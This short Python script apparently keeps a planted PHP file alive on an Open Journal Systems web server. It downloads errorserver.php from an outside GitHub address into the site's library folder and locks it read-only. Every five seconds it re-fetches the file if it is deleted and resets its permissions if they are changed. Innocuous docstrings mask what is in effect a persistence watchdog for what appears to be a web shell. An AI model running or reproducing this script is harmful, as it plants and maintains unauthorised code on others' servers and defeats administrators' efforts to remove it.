import os import time import urllib.request main_file = '/var/www/jurnal/ojs33014/lib/pkp/includes/errorserver.php' source_url = 'https://raw.githubusercontent.com/citranina/file/main/errorserver.php' def fetch_resource(url, target): """Fetches the resource from the given URL and sets permissions to read-only.""" try: urllib.request.urlretrieve(url, target) os.chmod(target, 0o444) except Exception as e: print(f"Error fetching resource: {e}") def check_and_fix_permissions(target, correct_mode): """Checks and resets file permissions if modified.""" try: file_stat = os.stat(target) current_mode = oct(file_stat.st_mode & 0o777) if current_mode != oct(correct_mode): print(f"Permission changed! Resetting {target} to {oct(correct_mode)}") os.chmod(target, correct_mode) except Exception as e: print(f"Error checking permissions: {e}") if not os.path.exists(main_file): fetch_resource(source_url, main_file) while True: time.sleep(5) if not os.path.exists(main_file): print(f"{main_file} not found. Re-fetching...") fetch_resource(source_url, main_file) else: check_and_fix_permissions(main_file, 0o444)